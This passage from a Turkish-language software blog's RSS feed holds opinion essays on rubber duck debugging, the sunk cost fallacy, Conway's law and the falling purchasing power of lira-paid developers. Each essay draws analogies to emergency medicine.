<p>Neden kendi kendimize düşünürken göremediğimiz bir hatayı, bir başkasına (veya masadaki sarı bir plastik ördeğe) sesli olarak anlatırken saniyeler içinde fark ederiz?</p>
<p>Bunun cevabı beynimizin düşünme mimarisinde yatar.</p>
<p>Zihnimiz iç diyalogla (monologla) çalışırken inanılmaz derecede tembel ve varsayımsaldır. Kodu sessizce okurken, gözlerimiz ekrandaki karakterleri tarar ama beynimiz aslında kodun <strong>ne yazdığını</strong> değil, <strong>ne yazması gerektiğini düşündüğümüzü</strong> okur.</p>
<p>Zihin satırların üzerinden hızla atlarken varsayımlar üretir: <em>"Evet, bu fonksiyon kullanıcıyı getiriyor. Evet, burada id kontrolü yapılıyor. Evet, burada veri dönüyor."</em> İç sesimiz, kendi inşa ettiği mantık köprülerindeki çatlakları ve boşlukları bilinçaltında otomatik olarak doldurur. Buna psikolojide "bilişsel kör nokta" veya "doğrulama yanlılığı" (confirmation bias) denir.</p>
<p>Ancak düşüncenizi kafanızın içinden çıkarıp <strong>ses dalgasına</strong> dönüştürmeye karar verdiğiniz an, beyninizde bambaşka nörolojik devreler devreye girer.</p>
<p>Konuşmak, lineer bir eylemdir. Zihninizdeki o soyut, dağınık ve çok boyutlu düşünce bulutunu kelimelere dökebilmek için; o düşünceyi tek boyutlu bir çizgiye, mantıksal bir neden-sonuç zincirine dizmek zorundasınızdır.</p>
<p>Kodu bir başkasına anlatırken, <em>"Burada kullanıcıyı getiriyoruz"</em> diyemezsiniz; <em>"Şu fonksiyona şu ID'yi vererek şu tablodan kullanıcı kaydını istiyoruz"</em> demek zorunda kalırsınız. Ve işte o sesli ifade, beyninizi kodun hayalindeki versiyonuyla değil, ekranda duran acımasız ve çıplak gerçekliğiyle yüzleşmeye zorlar.</p>
<p>Kendi sesinizi kendi kulağınızla duyduğunuz an, mantık köprüsündeki o eksik taşı görürsünüz: <em>"Bir dakika, ben fonksiyona ID'yi parametre olarak geçmedim ki!"</em></p>
<h3>Acil Serviste Devir Teslim (Handover) ve Vaka Sunumu</h3>
<p>Bu zihinsel aydınlanmanın tıp dünyasındaki karşılığı, hekimlerin her gün yaşadığı <strong>vaka sunumu (case presentation)</strong> ve nöbet devir teslim (handover) ritüelidir.</p>
<p>Acil serviste saatlerdir takip ettiğiniz, bir türlü genel durumunu toparlayamadığınız ve kesin tanıya varamadığınız karmaşık bir hasta vardır. Kan tahlillerine bakmışsınızdır, röntgenleri incelemişsinizdir ama parçalar bir türlü yerine oturmuyordur.</p>
<p>Sabah nöbet devri gelir. Kıdemli uzman hekim veya hoca servisleri gezmeye başlar. Sıra sizin hastanıza geldiğinde dosyayı elinize alıp hocaya vaka sunmaya başlarsınız:</p>
<p><em>"Hocam, 54 yaşında erkek hasta. Dün gece şiddetli epigastrik karın ağrısı ve bulantı şikayetiyle başvurdu. Karın muayenesinde defans yok. Kan biyokimyasında amilaz normal, lökosit hafif yüksek. EKG çektik, sinüs ritminde... ama nabız dakikada 52..."</em></p>
<p>Cümlenin tam bu noktasında asistan hekimin gözleri parlar. Sözünü keser: <em>"Hocam, bir dakika! Epigastrik ağrı, bradikardi... Bu tablo bir mide-bağırsak problemi değil; sağ koroner arter tutulumlu bir Akut İnferior Miyokard Enfarktüsü (kalp krizi) olabilir! Hemen bir sağ derivasyonlu EKG daha çekelim!"</em></p>
<p>Hoca tek bir söz söylememiştir. Sadece dinlemiştir.</p>
<p>Asistan hekim, vakayı kafasının içinde darmadağınık düşünürken göremediği bağlantıyı; semptomları kronolojik ve sesli bir anlatı haline getirirken kendi ağzıyla yakalamıştır. Tıpta hekimlerin vakaları birbirine yüksek sesle sunması sadece bir bürokrasi değil; hekimin kendi zihnini hizalamasını sağlayan hayati bir teşhis aracıdır.</p>
<h3>Yapay Zeka Çağında Yeni Nesil Plastik Ördekler</h3>
<p>Bugün yazılım geliştiriciler olarak masalarımızda artık sadece sarı plastik ördekler veya yan koltuktaki meslektaşlarımız yok. Artık terminallerimizde ve IDE'lerimizde yapay zeka asistanları var.</p>
<p>Birçok geliştirici fark etmiştir: ChatGPT'ye veya kod asistanına karmaşık bir hatayı sormak için problemi uzun uzun yazdığınızda; tam "Gönder" butonuna basacakken sorunun çözümünü kendi kendinize bulursunuz.</p>
<p>Neden? Çünkü yapay zekaya bir prompt hazırlamak, aslında modern bir Rubber Duck seansıdır.</p>
<p>Yapay zekanın problemi anlayabilmesi için; bağlamı (context) tanımlamak, girdileri ve çıktıları açıkça yazmak, varsayımlarınızı tek tek sıralamak zorunda kalırsınız. Ve o problemi yapay zekanın anlayabileceği berraklığa kavuşturduğunuz anda, aslında problemin çözümünü kendi zihninizde de berraklaştırmış olursunuz. Çoğu zaman yapay zekanın yanıtına dahi ihtiyaç kalmaz.</p>
<h3>Kendi Zihnine Karşı Alçakgönüllülük</h3>
<p>Rubber duck debugging, mühendisliğin en büyük erdemlerinden birini öğretir bize: <strong>Kendi aklının mutlaklığına inanmamak ve bilişsel körlüklerini kabul edecek kadar alçakgönüllü olmak.</strong></p>
<p>Zihniniz sizi kandırabilir. Gözleriniz ekrandaki hatayı saatlerce doğruymuş gibi algılayabilir. Çünkü insan beyni bir derleyici (compiler) değil; anlam üreten, boşlukları dolduran ve hikayeler uyduran organik bir makinedir.</p>
<p>Bu yüzden tıkandığınızda, saatlerce ekrana nefretle bakarak klavyeyi dövmek yerine yapacağınız en bilgece hareket; masanızdaki plastik oyuncağa, yanınızdaki arkadaşınıza veya boş bir kağıda dönüp konuşmaktır:</p>
<p><em>"Bak dostum, olay şöyle başladı..."</em></p>
<p>Çünkü bazen bir problemi çözmek için gereken tek şey daha fazla kod yazmak değil; düşüncelerimizin sesini kendi kulaklarımızla duyabilecek cesareti göstermektir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>rubber-duck</category>
            <category>debugging</category>
            <category>bilissel-surecler</category>
            <category>iletisim</category>
            <category>problem-cozme</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/rubber-duck-debugging-ve-insan-zihninin-sesli-dusunme-ihtiyaci/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Sunk Cost Fallacy": Yanlış Yolda 10,000 Satır Kod Yazmak]]></title>
            <link>http://localhost:3000/blog/post/sunk-cost-fallacy-yanlis-yolda-10000-satir-kod-yazmak</link>
            <guid>sunk-cost-fallacy-yanlis-yolda-10000-satir-kod-yazmak</guid>
            <pubDate>Sat, 04 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Aylarca emek verilen yanlış bir mimariyi çöpe atamama korkusu, batık maliyet yanılgısı ve kod silmenin kod yazmaktan çok daha büyük bir erdem oluşu üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sunk-cost-fallacy-yanlis-yolda-10000-satir-kod-yazmak/thumbnail" alt=""> Bir yazılım projesinin toplantı odasında duyabileceğiniz en tehlikeli, en pahalı ve felaketi en garantili kılan cümle şudur:</p>
<p><em>"Arkadaşlar, bu mimari üzerinde son altı aydır gece gündüz çalışıyoruz. Tam on bin satır kod yazdık, onlarca test hazırladık. Şimdi kalkıp da 'bu yaklaşım yanlışmış, hepsini çöpe atıp baştan başlayalım' diyemeyiz. Bu kadar emeği heba edemeyiz; elimizdekini toparlayıp canlıya çıkmak zorundayız."</em></p>
<p>Bu sözler dile getirildiği anda, mantık kapıdan dışarı çıkmış ve sahneyi insan psikolojisinin en kadim tuzaklarından biri olan <strong>"Sunk Cost Fallacy" (Batık Maliyet Yanılgısı)</strong> devralmıştır.</p>
<p>Geliştiriciler ve yöneticiler; harcanan zamanı, dökülen alın terini ve uykusuz geceleri birer "onur madalyası" gibi görerek yanlış bir karara körü körüne sarılırlar. Oysa evrenin ve matematiğin en temel kuralı son derece nettir: <strong>Geçmişte harcadığınız kaynaklar geri getirilemez; gelecekte vereceğiniz kararlar ise sadece o andan itibarenki fayda ve maliyete göre verilmelidir.</strong></p>
<p>Yanlış yöne giden bir trene bindiyseniz, biletinize ne kadar para ödediğinizin veya trende kaç saat yolculuk ettiğinizin hiçbir önemi yoktur. Son durağa kadar gidip uçurumdan yuvarlanmak istemiyorsanız, ilk istasyonda inmek zorundasınızdır.</p>
<h3>Tıpta Yanlış Teşhis ve Tedavide İnat Etmek</h3>
<p>Bu psikolojik körlüğün acil servisteki veya yoğun bakımdaki yansıması ölümcüldür.</p>
<p>Bir hastaya nefes darlığı ve göğüs ağrısıyla geldiğinde ilk etapta "pnömoni" (zatürre) teşhisi koyduğunuzu ve yüksek doz antibiyotik tedavisine başladığınızı düşünün. Aradan 48 saat geçmiştir. Hastanın akciğer sesleri düzelmemekte, oksijen saturasyonu düşmekte, bacaklarında ödem gelişmekte ve kardiyak enzimleri yükselmektedir.</p>
<p>Tablo bas bas bağırmaktadır: <em>"Bu hasta zatürre değil, kalp yetmezliğine bağlı Akut Akciğer Ödemi tablosunda!"</em></p>
<p>Şimdi bir an için o hekimin şöyle düşündüğünü hayal edin: <em>"İki gündür bu hastaya en pahalı antibiyotikleri verdik, tedavi planını sisteme böyle girdik, dosyasına zatürre yazdık. Şimdi kalkıp da kalp yetmezliği tedavisine dönersek iki günlük emeğimiz ve harcadığımız ilaçlar çöpe gider. Biz antibiyotiğin dozunu biraz daha artıralım, belki işe yarar."</em></p>
<p>Böyle bir hekim hastasını göz göre göre öldürür.</p>
<p>Tıpta en saygıdeğer refleks, <strong>"Teşhisim yanlıştı, hemen rotayı değiştiriyorum"</strong> diyebilmektir. Hekimlik egosu, hastanın yaşam hakkının önüne geçemez. Yeni klinik veriler hipotezinizi çürüttüğü an; o ana kadar verdiğiniz tüm serumları keser, gerekiyorsa hastanın kalbini rahatlatacak diüretikleri ve vazodilatatörleri anında devreye sokarsınız. Çünkü tıpta geçmişe takılıp kalanlar sadece mezarlıkları büyütür.</p>
<h3>Bataklığı Büyüten On Bin Satır</h3>
<p>Yazılım dünyasında ise ne yazık ki kod silmek, kod yazmaktan çok daha zor bir psikolojik eşiktir.</p>
<p>Bir mühendis ekibi düşünün. Altı ay önce popüler bir mikroservis mimarisini veya karmaşık bir event-sourcing modelini benimsemişlerdir. İhtiyaçları olmadığı halde Kafka kuyrukları kurmuş, CQRS yapılandırmış, distributed transaction'lar için Saga pattern'leri yazmışlardır.</p>
<p>Sistem büyüdükçe anlaşılır ki; veritabanı tutarlılığı sağlanamamakta, ağ gecikmeleri sistemi felç etmekte ve basit bir kullanıcı kaydı bile 15 servisin onayından geçmek zorunda kaldığı için sürekli patlamaktadır. Aslında ihtiyaç duyulan tek şey, Postgres üzerinde çalışan sade, monolitik ve transactional bir mimaridir.</p>
<p>Fakat ekip masaya oturduğunda kimse o on bin satırı silmeye cesaret edemez. Çünkü o kodları silmek, son altı ayın bir hata olduğunu, harcanan şirket bütçesinin boşa gittiğini ve mimari vizyonun iflas ettiğini itiraf etmek demektir.</p>
<p>Bunun yerine ne yapılır?</p>
<ul>
<li>Patlayan kuyrukları kurtarmak için araya yeni retry servisleri yazılır (+1.500 satır).</li>
<li>Tutarsız verileri gece tarayıp düzelten karanlık cron script'leri eklenir (+2.000 satır).</li>
<li>Servislerin ayağa kalkma sırasını yönetmek için karmaşık bash script'leri döşenir (+500 satır).</li>
</ul>
<p>Yani bataklığa batmış bir sistemi kurtarmak adına, bataklığın içine 4.000 satır daha beton dökülür! Sonuçta sistem biraz daha ağırlaşır, biraz daha karmaşıklaşır ve kaçınılmaz çöküş anı sadece birkaç ay ertelenmiş olur.</p>
<h3>En İyi Kod, Henüz Yazılmamış Olandır</h3>
<p>Büyük mühendisleri ortalama mühendislerden ayıran en temel fark, koda duydukları duygusal bağın derecesidir.</p>
<p>Kıdemsiz bir yazılımcı yazdığı koda aşık olur. Onu çocuğu gibi sever; her fonksiyonunu, her değişken ismini bir sanat eseri gibi korur. Birisi kodunu silmek veya refactor etmek istediğinde kişisel bir hakarete uğramış gibi hırçınlaşır.</p>
<p>Oysa bilge bir mühendis bilir ki; <strong>kod bir varlık (asset) değil, bir yükümlülüktür (liability).</strong></p>
<p>Yazdığınız her satır kod; gelecekte bakım yapılması gereken, güvenlik açığı barındırma potansiyesi olan, test edilmesi gereken ve işletim sistemi güncellendiğinde kırılma riski taşıyan bir borçtur. Bir sistemi 10.000 satır kodla çözmek bir başarı değildir; aynı sistemi 200 satır sade bir mantıkla çözebilmek gerçek zekadır.</p>
<p>Ve gerektiğinde, hiçbir pişmanlık duymadan o 10.000 satırı <code>git rm</code> komutuyla tarihin çöplüğüne gönderebilmek, bir yazılımcının erişebileceği en yüksek mesleki olgunluk seviyesidir.</p>
<h3>Çöpe Atma Cesareti</h3>
<p>Eğer bir projede işler sarpa sarmışsa, her yeni özellik eklenişinde başka bir yer kırılıyorsa ve mimari artık ekibin ayağına dolanan bir prangaya dönüşmüşse; kendinize şu soruyu dürüstçe sorun:</p>
<p><em>"Bugün bu projeye sıfırdan başlasaydık, mevcut bilgimiz ve tecrübemizle bu mimariyi tekrar tercih eder miydik?"</em></p>
<p>Eğer bu sorunun cevabı net bir <strong>"Hayır"</strong> ise; o ana kadar kaç yüz saat harcadığınızın, kaç bin satır kod yazdığınızın hiçbir hükmü yoktur.</p>
<p>O kodu çöpe atın.</p>
<p>Hatalarınızı kabul edin. Yanlış yolda koşarak doğru hedefe varamazsınız. Harcanan zaman zaten harcanmıştır; onu geri alamazsınız. Ancak geleceğinizi, akıl sağlığınızı ve projenin kaderini kurtarmak hala sizin elinizdedir.</p>
<p>Çünkü gerçek ustalık, ne zaman inşa edeceğini bilmek kadar, ne zaman yıkıp temiz bir sayfayla baştan başlayacağını bilmektir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>sunk-cost</category>
            <category>psikoloji</category>
            <category>karar-alma</category>
            <category>yazilim-felsefesi</category>
            <category>mimari</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sunk-cost-fallacy-yanlis-yolda-10000-satir-kod-yazmak/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Conway Kanunu": Şirket Örgütlenmesi Kodun Mimarisine Nasıl Yansır?]]></title>
            <link>http://localhost:3000/blog/post/conway-kanunu-sirket-orgutlenmesi-kodun-mimarisine-nasil-yansir</link>
            <guid>conway-kanunu-sirket-orgutlenmesi-kodun-mimarisine-nasil-yansir</guid>
            <pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sistemlerin organizasyonel iletişim şemalarını taklit etmesi kaçınılmaz mıdır? Kod tabanındaki düğümleri çözmek için neden önce ofis duvarlarını yıkmak gerekir?]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/conway-kanunu-sirket-orgutlenmesi-kodun-mimarisine-nasil-yansir/thumbnail" alt=""> 1967 yılında bilgisayar bilimcisi Melvin Conway, yazılım mühendisliği tarihinin en çarpıcı ve zamanı aşan sosyo-teknik gözlemini makalesine döktü:</p>
<blockquote>
<p><em>"Sistem tasarlayan herhangi bir organizasyon, kaçınılmaz olarak kendi iletişim yapısının bir kopyası (kopyalanmış bir yansıması) olan tasarımlar üretmeye mahkûmdur."</em></p>
</blockquote>
<p>Bu cümle literatüre <strong>Conway Kanunu (Conway's Law)</strong> olarak geçti ve o günden bu yana geçen altmış yılda doğruluğunu bir an bile yitirmedi.</p>
<p>Eğer bir şirkette derleyici (compiler) yazmak üzere dört ayrı ekip görevlendirirseniz, ortaya kaçınılmaz olarak 4 aşamalı bir derleyici çıkar. Eğer bir şirkette veritabanı ekibi, backend ekibi ve frontend ekibi birbirine cam duvarlarla ayrılmış, farklı katlarda oturan ve sadece resmi Jira biletleriyle haberleşen üç ayrı kast sistemi gibi örgütlenmişse; üretecekleri yazılım da tam olarak üç katmanlı, aralarında devasa veri transfer maliyetleri ve anlaşmazlık protokolleri barındıran hantal bir yapıya bürünür.</p>
<p>Kod, hiçbir zaman nötr bir laboratuvar ortamında, saf matematiksel bir zerafetle yazılmaz. Kod; insanların birbirleriyle olan sohbetlerinin, dedikodularının, güç savaşlarının, güven seviyelerinin ve organizasyonel korkularının dijital bir kopyasıdır.</p>
<h3>Hastane Koridorlarındaki Kopukluk: Beden mi Hasta, Organizasyon mu?</h3>
<p>Bu durumun acil tıptaki ve hastane yönetimindeki faturası doğrudan insan canıdır.</p>
<p>Bir üniversite hastanesini düşünün. Acil Tıp Kliniği, Radyoloji Anabilim Dalı ve Genel Cerrahi Kliniği... Teoride bu üç birimin tek bir ortak amacı vardır: Kapıdan giren kritik hastayı hayatta tutmak.</p>
<p>Fakat pratikte ne olur?</p>
<p>Eğer hastanenin başhekimliği bu birimler arasında sağlıklı bir iletişim ve güven kültürü kuramamışsa; her klinik kendi bürokratik kalesine çekilir. Acildeki hekim trafik kazası geçirmiş hastaya acil batın tomografisi ister. Radyoloji ekibi <em>"Haber vermeden hasta gönderdiniz, randevu sırası var, çekemeyiz"</em> diyerek hastayı sedyede 45 dakika bekletir. Çekim yapılır; cerrahi kıdemlisi <em>"Bu rapor çok yüzeysel yazılmış, hastayı ameliyata alamam, tekrar konsültasyon notu düşün"</em> der.</p>
<p>O koridorda hasta iç kanamadan şoka girerken, asıl patoloji hastanın parçalanmış karaciğerinde değildir; asıl patoloji, hastanenin organizasyon şemasındaki düşmanlıklarda ve bürokratik duvarlardadır. Sistem parçalanmıştır, çünkü o sistemi işleten insanlar parçalanmıştır.</p>
<p>Yazılım sistemlerinde de aynı ölümcül tablo yaşanır. Bir mikroservisin diğer bir mikroservise HTTP çağrısı yaparken neden 500 hatası döndüğünü veya neden anlamsız 30 saniyelik timeout süreleri tanımlandığını araştırdığınızda; meselenin ağ katmanında değil, o iki servisi yazan ekiplerin birbirleriyle konuşmamasında yattığını görürsünüz. İletişimsizlik, kodun içine <code>retry</code> mekanizmaları, güvensizlik protokolleri ve defansif kod blokları olarak sızar.</p>
<h3>Spagetti Kodun Altındaki Spagetti Organizasyon</h3>
<p>Bir şirketin kod tabanına baktığınızda, o şirketin ofis içindeki güç dengelerini bir röntgen filmi gibi okuyabilirsiniz:</p>
<ul>
<li><strong>Tanrı Nesneler (God Objects):</strong> Eğer kodda binlerce satırdan oluşan, her şeye karışan, tüm kararları tekeline almış devasa bir sınıf (class) varsa; emin olun o şirkette her kararı kendi onayından geçirmek isteyen, kimseye yetki devretmeyen otokrat bir kurucu veya teknik direktör vardır.</li>
<li><strong>Kırılgan API Sözleşmeleri:</strong> Eğer iki servis arasındaki veri formatı sürekli bozuluyor ve bir taraf diğerini habersizce yarı yolda bırakıyorsa; o iki servisin yöneticileri haftalık ürün toplantılarında birbiriyle pasif-agresif çatışmalar yaşayan insanlardır.</li>
<li><strong>Aşırı Savunmacı Kod:</strong> Kod tabanı her parametreyi on kez kontrol eden, sürekli "acaba diğer servis bana yanlış veri gönderir mi?" paranoyasıyla yazılmış kalkanlarla doluysa; o şirkette hata yapanın acımasızca cezalandırıldığı, psikolojik güvenliğin sıfır olduğu bir kültür hüküm sürmektedir.</li>
</ul>
<p>Mimarlar aylarca toplanıp beyaz tahtalarda en modern mikroservis diyagramlarını, domain-driven design (DDD) modellerini çizebilirler. Ancak o kutucukların içine yerleştireceğiniz ekipler birbirine güvenmiyorsa, günün sonunda elde edeceğiniz tek şey <strong>"dağıtık bir monolit" (distributed monolith)</strong> ve ağ üzerinden birbirine küfür eden mikroservisler çöplüğüdür.</p>
<h3>Ters Conway Manevrası (Inverse Conway Maneuver)</h3>
<p>Peki bu döngü nasıl kırılır?</p>
<p>Çözüm, yazılım literatüründe <strong>"Ters Conway Manevrası"</strong> olarak adlandırılan stratejide yatar: <strong>Eğer sistem mimarinizi değiştirmek istiyorsanız, önce organizasyonel yapınızı ve ekiplerinizin iletişim biçimini değiştirmek zorundasınız.</strong></p>
<p>Yazılım mimarları artık sadece UML diyagramları çizen teknik figürler olamazlar; onlar aynı zamanda organizasyonel sosyologlar olmak zorundadırlar.</p>
<ol>
<li><strong>Çapraz Fonksiyonel Otonom Ekipler:</strong> Frontend'ciyi bir odaya, Backend'ciyi başka bir kata, DevOps'çuyu bodrum katına hapsetmeyi bırakın. Belirli bir iş alanından (domain) uçtan uca sorumlu; içinde tasarımcısı, ürün yöneticisi, önyüz ve arayüz mühendisi barındıran otonom ekipler (squad'lar) kurun. Bu insanlar aynı masada oturduklarında veya aynı Slack kanalında nefes aldıklarında, servisler arasındaki sürtünme doğal olarak yok olur.</li>
<li><strong>Ortak Sorumluluk Kültürü:</strong> "Bu hata backend'in suçu", "Bu UI tasarımcının hatası" duvarlarını yıkın. Bir hasta masada kaldığında tüm ameliyathane ekibi birlikte hesap verir; bir servis çöktüğünde de tüm squad birlikte ayağa kaldırmalıdır.</li>
<li><strong>Ofis Mimarisi Kod Mimarisidir:</strong> Uzaktan çalışmada bile kanalların şeffaflığı, DM (direkt mesaj) kültürünün yerini açık tartışma ortamlarının alması; kodun içindeki gizli bağımlılıkları (hidden coupling) anında azaltır.</li>
</ol>
<h3>Kodu Düzeltmek İstiyorsan İnsandan Başla</h3>
<p>Sistemler soyut makineler değildir; insan zihninin ve toplumsal ilişkilerin somutlaşmış halleridir.</p>
<p>Eğer projenizde teknik borçlar çığ gibi büyüyorsa, kod tabanınız bir labirente dönmüşse ve ekipler birbirinin ayağına basmadan tek bir özellik dahi canlıya alamıyorsa; suçu programlama dilinde veya kütüphanelerde aramayın.</p>
<p>Dönün ve şirketinize bakın.</p>
<p>Kimin kiminle konuşmadığına, yöneticilerin hangi bilgileri sakladığına, ekiplerin birbirine ne kadar güvendiğine bakın. Çünkü şirketinizin içindeki duvarları yıkmadan, kodunuzun içindeki spagettiyi asla çözemezsiniz.</p>
<p>Melvin Conway'in altmış yıl önce fısıldadığı gerçek bugün de değişmemiştir: Kodunuz, aynadaki kendi yüzünüzdür.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>conway-kanunu</category>
            <category>organizasyon-kulturu</category>
            <category>sistem-mimarisi</category>
            <category>ekip-yonetimi</category>
            <category>mikroservis</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/conway-kanunu-sirket-orgutlenmesi-kodun-mimarisine-nasil-yansir/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Döviz Kuru ve Asgari Zam": Türkiye’de TL Maaş Alan Yazılımcının Alım Gücü]]></title>
            <link>http://localhost:3000/blog/post/doviz-kuru-ve-asgari-zam-turkiyede-tl-maas-alan-yazilimcinin-alim-gucu</link>
            <guid>doviz-kuru-ve-asgari-zam-turkiyede-tl-maas-alan-yazilimcinin-alim-gucu</guid>
            <pubDate>Thu, 02 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Enflasyon kasırgasında eriyen Türk Lirası bordroları, küresel meslektaşlarla açılan uçurum ve zihni kira derdiyle meşgul bir mühendisten yüksek performans bekleme yanılsaması.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/doviz-kuru-ve-asgari-zam-turkiyede-tl-maas-alan-yazilimcinin-alim-gucu/thumbnail" alt=""> Yılbaşı veya temmuz ayı zam dönemi gelmiştir. Şirket yönetimi büyük bir gururla tüm çalışanları toplantıya çağırır. Şirket genel müdürü sahneye çıkar, grafikler gösterir ve müjdeyi verir:</p>
<p><em>"Piyasa şartlarını ve enflasyonu göz önünde bulundurarak hepinize tam %35 zam yaptık! Sektör ortalamasının çok üzerindeyiz, şirketimiz çalışanının her zaman yanındadır."</em></p>
<p>Toplantı biter. Yazılımcı masasına döner, cebindeki telefonu çıkarır ve hesap makinesini açar.</p>
<p>Aldığı zam kağıt üzerinde %35 görünmektedir; ancak son bir yılda oturduğu evin kirası %80 artmıştır, market sepeti ikiye katlanmıştır, elektrik ve doğalgaz faturaları uçmuştur. Dahası, mesleğinin en temel gereksinimi olan ve dövizle fiyatlanan bir MacBook'un veya harici monitörün fiyatı üçe katlanmıştır.</p>
<p>O yeni zamlı maaşı o günkü Merkez Bankası kuruyla dolara veya euroya böldüğünde ortaya çıkan gerçek acımasızdır: <strong>Geçen yıla kıyasla cebine giren döviz miktarı %25 azalmıştır.</strong></p>
<p>Yani kağıt üzerinde "zam almış", ama reel hayatta ve küresel alım gücünde ciddi şekilde <strong>yoksullaşmıştır.</strong></p>
<h3>Tıptaki Performans Çarkı ve Hekimin Geçim Kaygısı</h3>
<p>Bu trajik tablonun tıp dünyasındaki karşılığı, son yıllarda Türkiye'deki hekim göçünü tetikleyen en büyük dinamiktir: <strong>Döner sermaye ve performans sistemi aldatmacası.</strong></p>
<p>Bir cerrah veya acil tıp uzmanı düşünün. Altı yıl tıp fakültesi okumuş, beş yıl uzmanlık yapmış, binlerce saat nöbet tutmuştur. Masasında duran hastanın açık kalbine veya parçalanmış beynine müdahale etmektedir. Hata payı sıfırdır.</p>
<p>Ancak aynı hekim, ameliyathaneden çıkıp dinlenme odasına geçtiğinde aklında hastanın fizyolojisi değil; <em>"Bu ay döner sermaye yattı mı? Çocuğun okul taksidini nasıl denkleştireceğim? Ev sahibi kiraya %100 zam istiyor, ne yapacağım?"</em> soruları dönmektedir.</p>
<p>Dünyanın en kritik, en odaklanma gerektiren işini yapan bir insana insanca bir temel yaşam standardı sunmayıp, onu performans puanlarıyla ve enflasyon karşısında eriyen katsayılarla boğuşmaya mahkum ettiğinizde ne olur? O hekim tükenir. Odaklanamaz hale gelir. Ve ilk fırsatta Almanca kursuna yazılarak bu ülkeyi terk eder.</p>
<p>Yazılım mühendisliği de cerrahi gibi <strong>saf zihinsel odaklanma (deep work)</strong> gerektiren bir disiplindir.</p>
<p>Bir mühendisin zihninde aynı anda onlarca veri modelini, mimari akışı, bellek tahsisini ve güvenlik riskini simüle edebilmesi için; zihninin berrak, huzurlu ve kaygısız olması gerekir. Masaya oturduğunda <em>"Kredi kartı asgarisini nasıl ödeyeceğim?"</em> diye düşünen bir mühendisten yüksek kaliteli, hatasız ve vizyoner bir yazılım mimarisi üretmesini beklemek, gözleri görmeyen bir cerraha açık kalp ameliyatı yaptırmaya benzer.</p>
<h3>Küresel Yabancılaşma: Aynı Kod, On Kat Farklı Hayat</h3>
<p>Türkiye'de yerel para birimiyle (TL) maaş alan bir yazılımcının yaşadığı en büyük psikolojik yıkım, mesleğin küresel doğasından kaynaklanır.</p>
<p>Biz tekstil işçisi değiliz; ürettiğimiz değer coğrafi sınırlara hapsolmuş değildir.</p>
<p>Bugün Kadıköy'deki bir ev ofisinde oturan Türk yazılımcı; terminalinde Docker ayağa kaldırırken, AWS üzerinde Kubernetes cluster'ı yapılandırırken veya TypeScript ile karmaşık bir önyüz mimarisi kurarken, tam olarak Berlin'deki, San Francisco'daki veya Londra'daki meslektaşıyla aynı bilişsel eforu sarf etmekte, aynı RFC standartlarını okumakta ve aynı GitHub depolarına katkı sunmaktadır.</p>
<p>Fakat ay sonu geldiğinde;</p>
<ul>
<li>Berlin'deki meslektaşı ayda 5.500 Euro net maaş alıp, iki haftalık maaşıyla dünyanın en yeni bilgisayar donanımını alabilir ve Avrupa'da tatile gidebilirken;</li>
<li>İstanbul'daki kıdemli Türk yazılımcısı, 50-60 bin TL bandına sıkıştırılmış maaşıyla ay sonunu getirmeye, bozulan telefonunu 12 taksitle nasıl yenileyeceğini hesaplamaya çalışmaktadır.</li>
</ul>
<p>Bu uçurum, derin bir <strong>mesleki yabancılaşma (alienation)</strong> doğurur. Emeğinizin küresel ölçekte bu kadar ucuzlatıldığını görmek, sadece ekonomik bir kayıp değil; insanın kendi haysiyetine ve mesleki değerine vurulmuş ağır bir darbedir.</p>
<h3>"Remote Çalışma" Bir Çıkış Kapısı mı, Beyin Göçü mü?</h3>
<p>Bu adaletsizliğin doğal bir sonucu olarak, son beş yılda Türkiye'nin en nitelikli yazılımcıları yerel piyasadan elini eteğini çekti.</p>
<p>Yurt dışına fiziksel olarak göç edemeyenler bile, yabancı şirketlere uzaktan (remote) döviz bazlı sözleşmelerle çalışmaya başladı. Global piyasada aylık 3.000 - 4.000 Dolar kazanan bir Türk mühendisi; Türkiye'deki yerel şirketlerin teklif ettiği "özel sağlık sigortası ve yemek kartı" paketlerine artık sadece gülümseyip geçiyor.</p>
<p>Peki yerel şirketler ve KOBİ'ler ne yapıyor?</p>
<p>Hala 2015 yılının döviz kurlarında ve kafa yapısında kalarak; kıdemli mühendislere komik TL maaşları teklif etmeye devam ediyorlar. Sonra da konferans kürsülerinde şikayet ediyorlar: <em>"Türkiye'de kaliteli mühendis bulamıyoruz, herkes yurt dışına kaçıyor!"</em></p>
<p>Siz insanlara hak ettikleri alım gücünü vermiyorsunuz. Enflasyonun %80 olduğu bir ülkede %30 zam yaparak insanların reel gelirini çalarken, onların şirkete sadakat duymasını bekliyorsunuz. Kusura bakmayın ama sadakat, market kasasında geçmeyen bir para birimidir.</p>
<h3>Zihinsel Emeğin Bedeli</h3>
<p>Bir şirketin en değerli sermayesi ofisindeki masalar, sandalyeler veya sunucular değildir; o şirketin mühendislerinin beyin hücreleridir.</p>
<p>Eğer çalışanınızın zihnini ekonomik kaygılardan arındıramıyorsanız, aslında şirketinizin kendi geleceğini ateşe atıyorsunuz demektir. Çünkü borç harç içindeki bir yazılımcının yazdığı kodda bug çıkar; güvenlik açığı çıkar; mimari felaketler çıkar. Ve o felaketlerin şirkete maliyeti, zamanında vermekten kaçındığınız o birkaç bin liralık maaş farkının yüz katı olur.</p>
<p>Yazılımcı arkadaşlarımıza da bir çağrımız var: Emeğinizi küresel standartların altında ucuzlatmayın. Kendi değerinizi yerel vasatlığın belirlemesine izin vermeyin. Dil öğrenin, küresel piyasaya açılın ve hakkınız olan alım gücünü talep edin.</p>
